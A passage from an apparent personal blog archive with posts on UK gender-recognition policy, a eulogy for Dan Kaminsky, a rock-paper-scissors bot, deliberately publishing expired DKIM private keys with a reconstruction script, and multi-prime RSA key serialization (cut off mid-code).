The UK's “Minister for Women and Equality”, Kemi Badenoch, who openly espouses hate for LGBTQ+ people, has said that many of these countries and territories no longer meet British standards. This is because they have followed the overall world-wide trend of improved rights for transgender people, which the UK opposes. The precise line between political scapegoating and bigotry on this issue is unclear.

In particular, 25 US states and DC are about to be removed from the list: California, Colorado, District of Columbia, Florida, Hawaii, Illinois, Maine, Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey, New Mexico, New York, Oklahoma, Oregon, Rhode Island, South Carolina, South Dakota, Utah, Vermont, Virginia, Washington, West Virginia, and Wyoming.

Many countries are also to be removed, and several with extremely poor human rights records are to be added.

Current list

To be removed (click/tap to expand)

United States
- California
- Colorado
- District of Columbia
- Florida
- Hawaii
- Illinois
- Maine
- Michigan
- Minnesota
- Mississippi
- Montana
- Nevada
- New Jersey
- New Mexico
- New York
- Oklahoma
- Oregon
- Rhode Island
- South Carolina
- South Dakota
- Utah
- Vermont
- Virginia
- Washington
- West Virginia
- Wyoming
Australia
- Northern Territory
- South Australia
- Tasmania
- Victoria
Austria
Belgium
Bulgaria
Canada
Denmark
Finland
France
Greece
Iceland
Liechtenstein
Luxembourg
Malta
Mexico
Moldova
The Netherlands
New Zealand
Norway
Poland
Russia
Serbia
Singapore
Slovenia
Spain
Switzerland
Uruguay

To be added (click/tap to expand)

Belarus
Bosnia and Herzegovina
China
Cuba
Georgia
India
Iran
Kazakhstan
Mongolia
Montenegro
Namibia
Panama
Sri Lanka
Taiwan

Proposed list

Their justification [PDF]

Notes from the discussion in parliament:

https://hansard.parliament.uk/commons/2023-12-06/debates/E7306EC2-EFCB-4331-BD82-F01FDF67CCBF/GenderRecognition

https://hansard.parliament.uk/Commons/2023-12-06/debates/5EE7D197-67FF-42B8-B808-E03B904EE559/PointsOfOrder

This is a serious problem for transgender Americans living in the UK, as they are unlikely to be able to meet the documentation requirements for legal recognition.

Currently, having a Gender Recognition Certificate does not affect things like access to appropriate toilets and other gender segregated facilities, but the British government has been attempting to limit this to only those with GRCs or remove such rights entirely. Removing the fast track option first could be a strategy to limit international political backlash.

A further concern is that British law does not have a clear way to legally determine the gender of anyone without a British birth certificate or GRC. Americans from affected states could have their gender challenged even if they aren’t transgender.

I note that in their justification, they explicitly call out that they won’t accept documents for nonbinary people. This is likely at least partially in response to my lawsuit seeking legal recognition as nonbinary.

It doesn’t seem like there is any way to stop this without international political pressure — which was brought up as a concern during discussion in parliament. Let’s create some. If you’re an American, please contact your congressional representatives about this as soon as possible.

For your convenience, you can use the following as a starting point:

The British government is about to remove access to a streamlined recognition process for transgender Americans who live in the UK. I ask that you take steps to express policy concerns to the British government in this matter, and that you do so quickly — swift action may make them think twice before following through.

In particular, please bring this to the attention of Jessica Stern, the Department of State’s LGBTQI+ Special Envoy. The official UK government contact regarding this issue is [email protected].

The UK’s Gender Recognition Act was passed in 2004 and allows transgender individuals to have their gender legally affirmed. As was common at the time, it required a process involving extensive documentation. To avoid further burdening people who had already gone through similar legal processes in their home countries, a streamlined process was included for them. Eligibility is determined by a pre-approved list.

On December 6th, a draft order was published, which would remove 25 states and DC from the list: California, Colorado, District of Columbia, Florida, Hawaii, Illinois, Maine, Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey, New Mexico, New York, Oklahoma, Oregon, Rhode Island, South Carolina, South Dakota, Utah, Vermont, Virginia, Washington, West Virginia, and Wyoming.

Most of these states were removed for “no longer meeting British standards”. In other words, they modernized their legislation to align with emerging international best practices.

Again, I urge you to take action immediately — these changes are otherwise likely to pass within the next few weeks.

Dan Kaminsky - A Eulogy

2021-04-24T19:26:00+01:00

Note: This was originally posted as a thread on Twitter. It has been lightly edited and reformatted here for convenience.

I remember attending Dan Kaminsky’s talk at DEFCON 12 and being blown away by it. Three years later, I went on the original “Hackers on a Plane” trip and ended up seated next to Dan on one of the flights. We quickly became friends. His mentorship over the years had an enormous impact on me.

We both went back to CCCamp in 2011. I excitedly told him about a reverse DNS scanning project (0.0.0.0/0 in 12 hours on AWS for like $50), and then we ended up talking about the Debian RNG bug and password security, walking around camp watching the lightning in the distance.

When I was doing my original brainwallet research back in 2013 and cracked the woodchuck wallet the first thing I did after showing my ex (then girlfriend) was call him. I told him I’d found something but didn’t feel comfortable discussing over the phone. He invited me over.

My ex and I hopped on BART headed into SF and met him at the loft he was living at above a motorcycle shop. We talked and carefully planned and then I accidentally made 250 BTC vanish.

Dan looked at me and said “[my ex] and I are going to go for a walk and return with burritos. You’re going to calm down and have this fixed by the time we get back. It’ll be okay.”

It was, and I did. I’d simply forgotten about change addresses for a brief moment of terror.

I think the first time he mentioned wanting to hire me was a few months later at a Bitcoin conference in San Jose. He believed in me. I went on to work alongside him at White Ops (now known as Human Security) in 2014. He brought me on stage with him at DEFCON that year.

He spent a lot of time helping me put together a CFP submission about my brainwallet research for DEFCON the following year and then helped me put together slides, rehearse, and had a professional help me refine everything. I couldn’t have done it without him.

My wedding was about six weeks before DEFCON - Dan showed up in an Uber, about an hour late. He explained that he’d confused Menlo Park for Morgan Hill when planning to leave. I was just thrilled to have him there.

Dan was a supportive friend, a great mentor, and a delightful colleague. I really can’t overstate what a positive impact he had on my life. It’s hard to believe he’s really gone. That I’ll never get to swap stories about our respective side projects with him again.

I miss him.

You Can Create Art and Beauty on a Computer

2021-03-28T15:06:00+01:00

Note: This was originally posted as a thread on Twitter. It has been lightly edited and reformatted here for convenience.

In the early 90s, when I was in elementary school, I got assigned to write a report on a topic of my choosing. I decided to write about computer viruses. There weren’t many books at the time I could use as sources, but I found Levy’s “Hackers: Heroes of the Computer Revolution”

One thing from the book that stuck with me was “You can create art and beauty on a computer”.

This wasn’t just about audio/visual aesthetic, though the demoscene does make some amazing things there, but also that a clever bit of code could be considered art in its own right.

Code golf, perl poetry, obfuscated programs, esoteric languages, they’re all expressions of human skill and creativity, and when executed well they can evoke emotion.

I think the first thing I made that someone called “art” was a bot I wrote to play “rock, paper, scissors”.

You can see that bot here: http://rpscontest.com/entry/614005

<span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha256</span>

<span class="pgcssc1"># The constant used here came to me in a dream.</span>

<span class="pgcssn">state</span> <span class="pgcsso">=</span> <span class="pgcssnb">input</span> <span class="pgcssow">and</span> <span class="pgcssn">state</span> <span class="pgcsso">+</span> <span class="pgcssnb">input</span> <span class="pgcssow">or</span> <span class="pgcsss1">&#39;e+4sk5jfPPON3muIQJPM-KBCJPyYHgkkgXgpprL2&#39;</span>

<span class="pgcssn">output</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;RPS&#39;</span><span class="pgcssp">[</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">state</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">(),</span><span class="pgcssmi">16</span><span class="pgcssp">)</span><span class="pgcsso">%</span><span class="pgcssmi">3</span><span class="pgcssp">]</span>

It’s two lines of code, not counting the import and comment, and yet it has an almost 60% win rate. How is that possible? The comment says “The constant used here came to me in a dream”, which only raises further questions.

A bot playing randomly, for reference, can be expected to win about half of the time, and the best bots on the site did around 80-85% - all this of being against other bots.

Two lines of Python with a seemingly random constant shouldn’t be able to do so well, should it?

The trick was, since all the bots had their code available on the site, I simply downloaded them all, and ran simulations for days, generating a random constant and seeing how it did against the existing bots. Eventually I picked one.

Not at all magic, but the goal of this code really was just to make people who saw it go “What the... What.... How!?”, and that it does. Knowing how it works removes some of the wonder, but replaces it with appreciation (or perhaps something else) for “hack value”.

I like making things that serve no practical purpose, but have that “hack value” that others can enjoy. Someone once posted on a discussion about another of my projects something to the effect of “I can’t hear you over the sound of how awesome this is”.

The simple process of discovery - challenging myself to do something, going into it unsure as to whether it’s possible, figuring it out, and implementing it is rewarding on its own. Seeing the reactions, though, is some pretty amazing icing on top of that already delicious cake.

DKIM: Show Your Privates

2020-11-02T20:02:00+00:00

If you’re like most people, there’s a good chance that it’s been years since you’ve sent an email that wasn’t cryptographically signed. You don’t use PGP, you say? Well, even if you are not signing your email, your provider is almost certainly doing it for you. Plausible deniability has been tossed aside in the name of stopping spam, but it doesn’t have to be.

DKIM, originally standardized in 2007 by RFC 4871, now has near universal[1] adoption. To quote the RFC, the goal behind the protocol is to “permit a signing domain to assert responsibility for a message, thus protecting message signer identity and the integrity of the messages they convey”. It’s one of several technologies used prevent the sender identity information in email from being spoofed[2]. Anti-spam systems use it to help determine whether to consider the reputation of a domain name when making a processing decision.

While DKIM was designed to be useful for spam prevention, the cryptographic signatures it uses have quietly made a property called “non-repudiation” the new normal for email. The term is used in in contract law — for example if someone claims “that’s not my signature”, they could be said to be “repudiating” the authenticity of the document. In the case of email, the impact is that if you have a copy of an email in its original format including full headers (for example, an email spool dump) you can check the signature. The extent to which this is a reliable means of verification varies depending on the circumstances — keys short enough to be cracked used to be common, and in some cases straight-up theft of the private keys is plausible.

Meanwhile, secure messaging tools like OTR and its successors have taken the approach of explicitly providing “deniable encryption”. The state of the art allows a sender, given a recipient’s public key, to craft a fake transcript apparently between the two of them that will pass cryptographic checks. This is generally fine for users of these apps because they know what they said. To the best of my knowledge, there is nowhere this creates a legal “get out of jail free” card. All it really does is ensure the users of these tools aren’t reducing their deniability by using the tool. This is an issue where DKIM really fails its users, and I’m apparently not the only one that feels this way.

Apropos of nothing, I really wish Gmail would start publishing its expired DKIM secret keys.

—Matthew Green

A little over three years ago, I started doing exactly that for my domain. Since then, I’ve had a key rotation script running every day, generating a new key and adding the appropriate record (called a “selector”).

20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>h=<wbr>sha256;<wbr>p=<wbr>MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/<wbr>OB3lcT2apKtnu7MLjIRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/<wbr>8yY9Qy1eyNtTF5Y/<wbr>XSoLWoRVO1oly+<wbr>WL+<wbr>4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB"<wbr>

Each selector remains live for seven days, then is “revoked” by publishing an update blanking the public key portion of the record.

20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>p=<wbr>"<wbr>

Once another three days pass, the minimal set of RSA parameters needed to recreate the public and private keys are published in the selector’s “notes” field.

20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>p=<wbr>;<wbr>n=<wbr>e:<wbr>AQAB,<wbr>p:<wbr>6o/<wbr>8upWykC5USot9Q2o5M89EO1qA7J/<wbr>ao/<wbr>FPc2TUJKat+<wbr>z4JXde2HWW/<wbr>8D3LJR4hGwSpgwLMq9drTzdjbzFTkQ=<wbr>=<wbr>,<wbr>q:<wbr>+<wbr>RTTux+<wbr>yMx0LPyXDkAQiEBcOt8xYrr60s1sXO/<wbr>5nQSQSZBlLtRJKHQpz65MnIxlOCB+<wbr>1umqLW8q78hHC3Asxfw=<wbr>=<wbr>"<wbr>

The format here is non-standard, as a full RSA private key with all of the redundant data it includes would exceed the 255 character limit for strings stored in DNS[3]. A small Python script is enough to reconstitute everything, though.

dkim-private.py
1	`<span class="pgcsskn">import</span> <span class="pgcssnn">gmpy2</span><span class="pgcsso">,</span> <span class="pgcssnn">sys</span><span class="pgcsso">,</span> <span class="pgcssnn">dns.resolver</span>`
2	`<span class="pgcsskn">from</span> <span class="pgcssnn">Cryptodome.PublicKey</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSA</span>`
3	`<span class="pgcsskn">from</span> <span class="pgcssnn">base64</span> <span class="pgcsskn">import</span> <span class="pgcssn">b64decode</span> <span class="pgcssk">as</span> <span class="pgcssn">b64d</span>`
4
5	`<span class="pgcssk">def</span> <span class="pgcssnf">decode_dkim_private</span><span class="pgcssp">(</span><span class="pgcssn">txt</span><span class="pgcssp">):</span>`
6	`<span class="pgcssn">params</span> <span class="pgcsso">=</span> <span class="pgcssnb">dict</span><span class="pgcssp">()</span>`
7	`<span class="pgcssc1"># Parse the DKIM selector record.</span>`
8	<span class="pgcssk">for</span> <span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">_</span><span class="pgcssp">,</span> <span class="pgcssn">val</span> <span class="pgcssow">in</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span><span class="pgcsso">.</span><span class="pgcssn">partition</span><span class="pgcssp">(</span><span class="pgcsss1">'='</span><span class="pgcssp">),</span> <span class="pgcssn">txt</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">';'</span><span class="pgcssp">)):</span>
9	`<span class="pgcssk">if</span> <span class="pgcssn">key</span> <span class="pgcsso">==</span> <span class="pgcsss1">'n'</span><span class="pgcssp">:</span>`
10	<span class="pgcssk">for</span> <span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcssn">v</span> <span class="pgcssow">in</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">':'</span><span class="pgcssp">),</span> <span class="pgcssn">val</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">','</span><span class="pgcssp">)):</span>
11	`<span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcssn">k</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b64d</span><span class="pgcssp">(</span><span class="pgcssn">v</span><span class="pgcssp">),</span> <span class="pgcsss1">'big'</span><span class="pgcssp">)</span>`
12	`<span class="pgcssc1"># Compute rest of RSA keypair parameters (if possible).</span>`
13	<span class="pgcssk">if</span> <span class="pgcssnb">all</span> <span class="pgcssp">(</span><span class="pgcssn">k</span> <span class="pgcssow">in</span> <span class="pgcssn">params</span> <span class="pgcssk">for</span> <span class="pgcssn">k</span> <span class="pgcssow">in</span> <span class="pgcssp">(</span><span class="pgcsss1">'e'</span><span class="pgcssp">,</span> <span class="pgcsss1">'p'</span><span class="pgcssp">,</span> <span class="pgcsss1">'q'</span><span class="pgcssp">)):</span>
14	`<span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'n'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'p'</span><span class="pgcssp">]</span> <span class="pgcsso">*</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'q'</span><span class="pgcssp">]</span>`
15	<span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'p'</span><span class="pgcssp">]</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span> <span class="pgcsso">*</span> <span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'q'</span><span class="pgcssp">]</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span>
16	<span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'d'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'e'</span><span class="pgcssp">],</span> <span class="pgcssn">phi</span><span class="pgcssp">))</span>
17	`<span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcssn">x</span><span class="pgcssp">],</span> <span class="pgcsss1">'nedpq'</span><span class="pgcssp">)</span>`
18	`<span class="pgcssk">return</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">construct</span><span class="pgcssp">(</span><span class="pgcssnb">tuple</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">))</span>`
19	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
20	`<span class="pgcssk">return</span> <span class="pgcsskc">None</span>`
21
22	`<span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">'__main__'</span> <span class="pgcssow">and</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssmi">3</span><span class="pgcssp">:</span>`
23	`<span class="pgcssn">domain</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span>`
24	`<span class="pgcssn">selector</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span>`
25	<span class="pgcssk">for</span> <span class="pgcssn">answer</span> <span class="pgcssow">in</span> <span class="pgcssn">dns</span><span class="pgcsso">.</span><span class="pgcssn">resolver</span><span class="pgcsso">.</span><span class="pgcssn">query</span><span class="pgcssp">(</span><span class="pgcssn">selector</span> <span class="pgcsso">+</span> <span class="pgcsss1">'._domainkey.'</span> <span class="pgcsso">+</span> <span class="pgcssn">domain</span><span class="pgcssp">,</span> <span class="pgcsss1">'TXT'</span><span class="pgcssp">):</span>
26	`<span class="pgcssn">txt</span> <span class="pgcsso">=</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">answer</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">strip</span><span class="pgcssp">(</span><span class="pgcsss1">'"'</span><span class="pgcssp">)</span>`
27	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">decode_dkim_private</span><span class="pgcssp">(</span><span class="pgcssn">txt</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">exportKey</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">())</span>`

An example run:

<span class="pgcssgp">$ </span>./dkim-private.py<span class="pgcssw"> </span><span class="pgcsss1">&#39;ryanc.org&#39;</span><span class="pgcssw"> </span><span class="pgcsss1">&#39;20170829-b29b2444f764c222c3faf5c&#39;</span>

<span class="pgcssgo">-----BEGIN RSA PRIVATE KEY-----</span>

<span class="pgcssgo">MIICXQIBAAKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/OB3lcT2apKtnu7MLj</span>

<span class="pgcssgo">IRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/8yY9Qy</span>

<span class="pgcssgo">1eyNtTF5Y/XSoLWoRVO1oly+WL+4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB</span>

<span class="pgcssgo">AoGBAKClArD7PzExKGJcIQqHIjqEzdfVdbVfyc+JfUiX72h2bE78wzXDUIUMYnrs</span>

<span class="pgcssgo">nJ7gJeaO5ycG5ST29sQtAkVRwn1KTLaU9fYmGpbkKyOWWfmztppZIvwi9l4tU5h2</span>

<span class="pgcssgo">GJVw+HbhcWO6tYbTqR9Bc8IelXyVibwmJwImr0AoD8sBLryhAkEA6o/8upWykC5U</span>

<span class="pgcssgo">Sot9Q2o5M89EO1qA7J/ao/FPc2TUJKat+z4JXde2HWW/8D3LJR4hGwSpgwLMq9dr</span>

<span class="pgcssgo">TzdjbzFTkQJBAPkU07sfsjMdCz8lw5AEIhAXDrfMWK6+tLNbFzv+Z0EkEmQZS7US</span>

<span class="pgcssgo">Sh0Kc+uTJyMZTggftbpqi1vKu/IRwtwLMX8CQFT/ABGMlTvxzdGFYkq/fyLrBEqN</span>

<span class="pgcssgo">rRIRiuTFWIj0DHuLepgEDtjWhcN5T2f6vFYi6NQliFdU+F18ngICjCGKukECQHse</span>

<span class="pgcssgo">ClIyJpkRQB/kgLfM8zFU1FeRUDx/0z3cRq3G4C7Yr6Z+wmcsNSoJoqbMw8mblnB5</span>

<span class="pgcssgo">jBAq3dtvaFsM4G53se0CQQC9ocR9eQdXvq5ibwZAmgYcMLEaq7NeX//l6zdxLd52</span>

<span class="pgcssgo">NcVcuaAUzf5KdTRwA9gJ4Qdzwntc+UB2ElpI2AOj7AFV</span>

<span class="pgcssgo">-----END RSA PRIVATE KEY-----</span>

When I originally set this up, I was a bit concerned that I’d run into issues with filtering systems trying to validate my sent emails significantly after delivery. Per the RFC:

A signer should not sign with a private key when the selector containing the corresponding public key is expected to be revoked or removed before the verifier has an opportunity to validate the signature. The signer should anticipate that verifiers may choose to defer validation, perhaps until the message is actually read by the final recipient. In particular, when rotating to a new key pair, signing should immediately commence with the new private key and the old public key should be retained for a reasonable validation interval before being removed from the key server.

In the process of writing this up, I went through the 24 months of query logs I have. With very few exceptions (most of which were probably my own testing) there were no lookups against selectors other than on the day they were being used, so this doesn’t seem to be a problem in practice.

I alluded to it earlier, but I want to be clear — publishing DKIM private keys like this mainly addresses leaks as a threat model. In a legal dispute, mail server logs and/or stored mail can be subpoenaed if the authenticity of messages is in question. Even in my case, where I have my own mail server on dedicated hardware with full disk encryption at an undisclosed location, most mail I send will be delivered to a server operated by a third party with no incentive to alter logs at the behest of the recipient.

It would make for a fascinating experiment for one of the privacy focused email providers to try deploying a key management strategy similar to the one I’ve described in this post.

Artisanal RSA

2020-08-17T11:53:00-07:00

Sometimes hacking requires doing things that, while possible to do with some algorithm, simply aren’t supported by any existing implementation. Usually for good reason. A good example of this that I’ve run into in the past is needing to initialize a hash algorithm with a specific state. There’s really not any reason to do this unless you’re trying to execute a length extension attack, and with the exception of HashPump (which was written specifically for that use case) I’m not aware of any library that supports it. I recently ran into this with problem with RSA.

A Quick Review of RSA Keys

RSA private keys consist of:

n, the composite modulus
e, the public exponent
d, the private exponent
some other values that can be ignored for now

In order to find d, φ(n) must first be computed by subtracting one from each of the prime factors of n and taking their product. Next d is calculated using the extended Euclidean algorithm to find the modular multiplicative inverse of e with respect to φ(n), such that de mod φ(n) ≡ 1. For the math to work out, e cannot share any factors with φ(n). The security of RSA relies on it being infeasible to find d without the prime factors of n. In practice, keys are normally generated by picking two random prime numbers of similar length, using 65537[1] for e, and computing everything else from there.

Readers already familiar with RSA may be wondering why I haven’t mentioned the customary names for the primes factors of n — p and q. That is because RSA works just fine with more than two primes. There was an offhand reference to this in the original RSA patent:

In alternative embodiments, the present invention may use a modulus n which is a product of three or more primes (not necessarily distinct[2]).

So-called “Multi-Prime RSA” allows faster computations with a given modulus size, but as far as I can tell it’s never seen much use. There’s been some interest as a performance optimization since CAs started requiring a minimum modulus size of 2048 bits, but wide support for ECDSA (which is much faster for private key operations) has relegated it to obscurity.

Shenanigans

In my previous post, “Stupid Certificate Tricks”, I showed how to create an RSA key with custom parameters in order to embed data in a certificate. That was a relatively simple case — PyCryptodome [3] has RSA.construct() which allows a key to be instantiated with arbitrary values for the modulus n, public exponent e, private exponent d, first prime p, and second prime q. Having to compute n and d even though they can be derived from the other three values is a mild annoyance, but in the end not a big deal. Unfortunately the API doesn’t allow specifying a third or further primes, which I found myself needing to do.

Serialization

When I went to research possible solutions, I made several surprising discoveries. First, support for multi-prime RSA had been added to Go’s standard library in 2011. Second, PKCS defined serialization of such keys in version 2.1, which was released in 2002. Finally, OpenSSL added support in version 1.1.1.

At this point, I was gritting my teeth a bit because like many TLS related data formats, RSA private keys use ASN.1. I like dealing with ASN.1 about as much as I like dealing with XML, which is to say, not at all. A bit of searching turned up pyasn1 which made things tolerable. To make the ASN.1 serialization work, all I had to do was translate the definitions from RFC 8017 into Python and write a bit of code to compute all of the derived values given a public exponent and list of primes.

mprsa.py
1	`<span class="pgcsskn">import</span> <span class="pgcssnn">re</span>`
2	`<span class="pgcsskn">import</span> <span class="pgcssnn">sys</span>`
3	`<span class="pgcsskn">import</span> <span class="pgcssnn">gmpy2</span>`
4	`<span class="pgcsskn">import</span> <span class="pgcssnn">base64</span>`
5	`<span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span>`
6
7	`<span class="pgcsskn">from</span> <span class="pgcssnn">functools</span> <span class="pgcsskn">import</span> <span class="pgcssn">reduce</span>`
8
9	`<span class="pgcsskn">from</span> <span class="pgcssnn">OpenSSL</span> <span class="pgcsskn">import</span> <span class="pgcssn">crypto</span>`
10
11	`<span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.type.univ</span> <span class="pgcsskn">import</span> <span class="pgcssn">Sequence</span><span class="pgcssp">,</span> <span class="pgcssn">SequenceOf</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span>`
12	`<span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.type.namedtype</span> <span class="pgcsskn">import</span> <span class="pgcssn">NamedType</span><span class="pgcssp">,</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">,</span> <span class="pgcssn">OptionalNamedType</span>`
13	`<span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.codec.der.encoder</span> <span class="pgcsskn">import</span> <span class="pgcssn">encode</span> <span class="pgcssk">as</span> <span class="pgcssn">der_encode</span>`
14
15	`<span class="pgcssk">def</span> <span class="pgcssnf">product</span><span class="pgcssp">(</span><span class="pgcssn">items</span><span class="pgcssp">):</span>`
16	`<span class="pgcssk">return</span> <span class="pgcssn">reduce</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">,</span> <span class="pgcssn">y</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcsso">*</span> <span class="pgcssn">y</span><span class="pgcssp">,</span> <span class="pgcssn">items</span><span class="pgcssp">)</span>`
17
18	`<span class="pgcssk">class</span> <span class="pgcssnc">RSAError</span><span class="pgcssp">(</span><span class="pgcssne">ValueError</span><span class="pgcssp">):</span>`
19	`<span class="pgcssk">pass</span>`
20
21	`<span class="pgcssc1"># https://tools.ietf.org/html/rfc8017#appendix-A.1.2</span>`
22	`<span class="pgcssk">class</span> <span class="pgcssnc">OtherPrimeInfo</span><span class="pgcssp">(</span><span class="pgcssn">Sequence</span><span class="pgcssp">):</span>`
23	`<span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">(</span>`
24	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'prime'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
25	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'exponent'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
26	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'coefficient'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">())</span>`
27	`<span class="pgcssp">)</span>`
28
29	`<span class="pgcssk">class</span> <span class="pgcssnc">OtherPrimeInfos</span><span class="pgcssp">(</span><span class="pgcssn">SequenceOf</span><span class="pgcssp">):</span>`
30	`<span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfo</span><span class="pgcssp">()</span>`
31
32	`<span class="pgcssk">class</span> <span class="pgcssnc">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">Sequence</span><span class="pgcssp">):</span>`
33	`<span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">(</span>`
34	`<span class="pgcssc1"># Version ::= INTEGER { two-prime(0), multi(1) }</span>`
35	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'version'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
36	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'modulus'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
37	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'publicExponent'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
38	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'privateExponent'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
